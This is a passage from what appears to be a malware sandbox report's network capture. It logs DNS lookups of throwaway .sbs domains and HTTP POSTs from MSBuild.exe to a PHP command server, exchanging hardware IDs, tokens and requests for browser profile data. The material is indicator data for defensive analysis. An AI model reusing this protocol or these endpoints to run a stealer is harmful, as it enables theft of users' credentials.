Oct 7, 2024 19:33:31.039855957 CEST	443	49838	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.040807962 CEST	49846	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.040818930 CEST	443	49846	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.041064024 CEST	49846	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.041193962 CEST	49846	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.041209936 CEST	443	49846	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.041759014 CEST	49847	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.041774988 CEST	443	49847	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.041898966 CEST	49847	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.041965008 CEST	49847	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.041977882 CEST	443	49847	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.043781042 CEST	443	49844	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.044075012 CEST	49848	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.044095993 CEST	443	49848	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.044179916 CEST	49848	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.044487953 CEST	49848	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.044501066 CEST	443	49848	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.045810938 CEST	443	49845	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.047239065 CEST	49849	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.047264099 CEST	443	49849	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.047429085 CEST	49849	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.047533989 CEST	49849	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.047548056 CEST	443	49849	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.053245068 CEST	443	49846	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.053469896 CEST	49850	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.053494930 CEST	443	49850	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.053595066 CEST	49850	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.053767920 CEST	49850	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.053782940 CEST	443	49850	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.056191921 CEST	443	49848	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.057522058 CEST	49851	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.057545900 CEST	443	49851	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.057920933 CEST	49851	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.057920933 CEST	49851	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.057951927 CEST	443	49851	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.059988022 CEST	443	49849	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.060225964 CEST	49852	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.060241938 CEST	443	49852	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.060465097 CEST	49852	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.060465097 CEST	49852	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.060493946 CEST	443	49852	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.064199924 CEST	443	49839	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.064445019 CEST	443	49839	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.064455986 CEST	443	49847	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.064495087 CEST	49839	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.064505100 CEST	443	49839	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.064538956 CEST	443	49839	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.064544916 CEST	49847	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.064544916 CEST	49847	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.064588070 CEST	49839	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.064702034 CEST	49839	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.064702034 CEST	49853	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.064718008 CEST	443	49839	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.064729929 CEST	443	49853	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.064732075 CEST	49839	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.064738989 CEST	443	49839	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.064785957 CEST	49853	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.064979076 CEST	49853	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.064990997 CEST	443	49853	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.066526890 CEST	443	49850	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.066740990 CEST	49854	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.066751957 CEST	443	49854	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.066833019 CEST	49854	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.066947937 CEST	49854	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.066956997 CEST	443	49854	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.067898035 CEST	49855	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.067907095 CEST	443	49855	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.068149090 CEST	49855	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.068450928 CEST	49855	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.068464994 CEST	443	49855	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.069588900 CEST	443	49851	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.069856882 CEST	49856	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.069869995 CEST	443	49856	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.069964886 CEST	49856	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.071407080 CEST	49856	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.071418047 CEST	443	49856	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.073081970 CEST	443	49852	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.074558020 CEST	49857	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.074589014 CEST	443	49857	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.074681044 CEST	49857	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.074898005 CEST	49857	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.074913979 CEST	443	49857	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.079710007 CEST	443	49854	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.080027103 CEST	49858	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.080058098 CEST	443	49858	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.080121040 CEST	49858	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.080224991 CEST	49858	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.080238104 CEST	443	49858	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.080286026 CEST	443	49855	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.080509901 CEST	49859	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.080524921 CEST	443	49859	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.080739021 CEST	49859	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.080739021 CEST	49859	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.080763102 CEST	443	49859	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.083039999 CEST	443	49856	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.084455013 CEST	49860	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.084462881 CEST	443	49860	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.084707975 CEST	49860	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.084708929 CEST	49860	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.084727049 CEST	443	49860	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.086576939 CEST	443	49857	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.086797953 CEST	49861	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.086811066 CEST	443	49861	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.086872101 CEST	49861	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.086990118 CEST	443	49853	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.087038040 CEST	49861	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.087049007 CEST	443	49861	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.087059021 CEST	49853	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.087071896 CEST	49853	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.087080002 CEST	443	49853	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.088443995 CEST	49862	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.088450909 CEST	443	49862	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.088510036 CEST	49862	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.088644981 CEST	49862	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.088649035 CEST	443	49862	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.093106985 CEST	443	49858	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.094770908 CEST	49863	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.094778061 CEST	443	49863	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.095010042 CEST	49863	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.095010042 CEST	49863	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.095027924 CEST	443	49863	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.095670938 CEST	443	49859	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.100522995 CEST	443	49862	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.100728035 CEST	49864	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.100740910 CEST	443	49864	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.100811958 CEST	49864	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.101018906 CEST	49864	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.101031065 CEST	443	49864	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.106743097 CEST	443	49863	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.106944084 CEST	49865	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.106966019 CEST	443	49865	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.107009888 CEST	49865	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.107218981 CEST	49865	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.107237101 CEST	443	49865	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.107465982 CEST	443	49860	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.107518911 CEST	49860	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.107563019 CEST	49860	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.107572079 CEST	443	49860	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.107702971 CEST	49866	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.107748985 CEST	443	49866	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.107810974 CEST	49866	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.108006001 CEST	49866	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.108021975 CEST	443	49866	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.110373020 CEST	443	49861	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.110433102 CEST	49861	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.110449076 CEST	49861	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.110459089 CEST	443	49861	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.122951031 CEST	443	49866	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.124358892 CEST	443	49864	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.124428034 CEST	49864	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.124428034 CEST	49864	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.371630907 CEST	49847	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.371646881 CEST	443	49847	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.434364080 CEST	49864	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.434381008 CEST	443	49864	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.755125999 CEST	443	49865	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.755213976 CEST	49865	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.757965088 CEST	49865	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.757973909 CEST	443	49865	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.758344889 CEST	443	49865	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.759144068 CEST	49865	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.799406052 CEST	443	49865	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.851679087 CEST	443	49865	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.851818085 CEST	443	49865	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.851877928 CEST	49865	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.852010012 CEST	49865	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.852010012 CEST	49865	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:31.852027893 CEST	443	49865	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:31.852040052 CEST	443	49865	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:50.334573984 CEST	443	49832	104.98.116.138	192.168.2.7
Oct 7, 2024 19:33:50.334865093 CEST	49832	443	192.168.2.7	104.98.116.138
Oct 7, 2024 19:33:57.107130051 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:59.842890978 CEST	49791	80	192.168.2.7	147.45.44.104

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 19:33:08.026788950 CEST	56800	53	192.168.2.7	1.1.1.1
Oct 7, 2024 19:33:23.746411085 CEST	54285	53	192.168.2.7	1.1.1.1
Oct 7, 2024 19:33:23.777138948 CEST	53	54285	1.1.1.1	192.168.2.7
Oct 7, 2024 19:33:25.306171894 CEST	51434	53	192.168.2.7	1.1.1.1
Oct 7, 2024 19:33:25.316898108 CEST	53	51434	1.1.1.1	192.168.2.7
Oct 7, 2024 19:33:25.320611000 CEST	57515	53	192.168.2.7	1.1.1.1
Oct 7, 2024 19:33:25.332154036 CEST	53	57515	1.1.1.1	192.168.2.7
Oct 7, 2024 19:33:25.333230972 CEST	53275	53	192.168.2.7	1.1.1.1
Oct 7, 2024 19:33:25.344191074 CEST	53	53275	1.1.1.1	192.168.2.7
Oct 7, 2024 19:33:25.348433971 CEST	64312	53	192.168.2.7	1.1.1.1
Oct 7, 2024 19:33:25.360884905 CEST	53	64312	1.1.1.1	192.168.2.7
Oct 7, 2024 19:33:25.362713099 CEST	55979	53	192.168.2.7	1.1.1.1
Oct 7, 2024 19:33:25.374106884 CEST	53	55979	1.1.1.1	192.168.2.7
Oct 7, 2024 19:33:25.375977039 CEST	64654	53	192.168.2.7	1.1.1.1
Oct 7, 2024 19:33:25.386584997 CEST	53	64654	1.1.1.1	192.168.2.7
Oct 7, 2024 19:33:25.501034975 CEST	59976	53	192.168.2.7	1.1.1.1
Oct 7, 2024 19:33:25.510838032 CEST	53	59976	1.1.1.1	192.168.2.7
Oct 7, 2024 19:33:25.517235041 CEST	57771	53	192.168.2.7	1.1.1.1
Oct 7, 2024 19:33:25.526439905 CEST	53	57771	1.1.1.1	192.168.2.7
Oct 7, 2024 19:33:25.543258905 CEST	56447	53	192.168.2.7	1.1.1.1
Oct 7, 2024 19:33:25.550956011 CEST	53	56447	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 19:33:08.026788950 CEST	192.168.2.7	1.1.1.1	0xe384	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:23.746411085 CEST	192.168.2.7	1.1.1.1	0x22ed	Standard query (0)	nsdm.cumpar-auto-orice-tip.ro	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:25.306171894 CEST	192.168.2.7	1.1.1.1	0x9555	Standard query (0)	exemplarou.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:25.320611000 CEST	192.168.2.7	1.1.1.1	0x3ac5	Standard query (0)	frizzettei.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:25.333230972 CEST	192.168.2.7	1.1.1.1	0xbe33	Standard query (0)	isoplethui.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:25.348433971 CEST	192.168.2.7	1.1.1.1	0x656b	Standard query (0)	bemuzzeki.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:25.362713099 CEST	192.168.2.7	1.1.1.1	0xf4a3	Standard query (0)	exilepolsiy.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:25.375977039 CEST	192.168.2.7	1.1.1.1	0x12d9	Standard query (0)	laddyirekyi.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:25.501034975 CEST	192.168.2.7	1.1.1.1	0xbb08	Standard query (0)	invinjurhey.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:25.517235041 CEST	192.168.2.7	1.1.1.1	0xdb8b	Standard query (0)	wickedneatr.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:25.543258905 CEST	192.168.2.7	1.1.1.1	0x5763	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 19:33:08.034466982 CEST	1.1.1.1	192.168.2.7	0xe384	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 19:33:10.199300051 CEST	1.1.1.1	192.168.2.7	0x58b2	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 19:33:10.199300051 CEST	1.1.1.1	192.168.2.7	0x58b2	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:14.454479933 CEST	1.1.1.1	192.168.2.7	0x5b98	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:14.454479933 CEST	1.1.1.1	192.168.2.7	0x5b98	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:23.777138948 CEST	1.1.1.1	192.168.2.7	0x22ed	No error (0)	nsdm.cumpar-auto-orice-tip.ro		147.45.44.104	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:25.316898108 CEST	1.1.1.1	192.168.2.7	0x9555	Name error (3)	exemplarou.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:25.332154036 CEST	1.1.1.1	192.168.2.7	0x3ac5	Name error (3)	frizzettei.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:25.344191074 CEST	1.1.1.1	192.168.2.7	0xbe33	Name error (3)	isoplethui.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:25.360884905 CEST	1.1.1.1	192.168.2.7	0x656b	Name error (3)	bemuzzeki.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:25.374106884 CEST	1.1.1.1	192.168.2.7	0xf4a3	Name error (3)	exilepolsiy.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:25.386584997 CEST	1.1.1.1	192.168.2.7	0x12d9	Name error (3)	laddyirekyi.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:25.510838032 CEST	1.1.1.1	192.168.2.7	0xbb08	Name error (3)	invinjurhey.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:25.526439905 CEST	1.1.1.1	192.168.2.7	0xdb8b	Name error (3)	wickedneatr.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 19:33:25.550956011 CEST	1.1.1.1	192.168.2.7	0x5763	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

46.8.231.109

nsdm.cumpar-auto-orice-tip.ro

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49718	46.8.231.109	80	6376	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 19:33:12.998617887 CEST	87	OUT	GET / HTTP/1.1 Host: 46.8.231.109 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 19:33:13.604338884 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 19:33:13.612756968 CEST	413	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHJDGIDBAAFIDGCGCAK Host: 46.8.231.109 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 34 38 43 38 30 41 38 31 31 44 33 36 36 33 38 31 32 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 2d 2d 0d 0a Data Ascii: ------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="hwid"5748C80A811D3663812181------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="build"default------IEHJDGIDBAAFIDGCGCAK--
Oct 7, 2024 19:33:14.158521891 CEST	407	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 57 4d 32 4d 6a 64 68 5a 44 6c 6d 5a 47 55 35 4e 54 46 6c 5a 47 55 31 4f 44 46 69 5a 57 4d 35 4d 44 56 6d 4f 57 55 31 4f 44 6b 7a 4d 6d 4a 6d 5a 6a 6c 6b 4d 54 4d 79 4d 7a 46 6d 4f 44 49 34 5a 47 4d 35 59 6a 67 32 4f 54 46 69 4d 44 4e 6b 59 54 5a 69 4d 7a 45 30 59 6d 56 6a 4f 54 5a 6a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NWM2MjdhZDlmZGU5NTFlZGU1ODFiZWM5MDVmOWU1ODkzMmJmZjlkMTMyMzFmODI4ZGM5Yjg2OTFiMDNkYTZiMzE0YmVjOTZjfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 7, 2024 19:33:14.159780979 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKJDAFHJDHIEBGCFIDB Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 2d 2d 0d 0a Data Ascii: ------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="message"browsers------IJKJDAFHJDHIEBGCFIDB--
Oct 7, 2024 19:33:14.369163036 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: 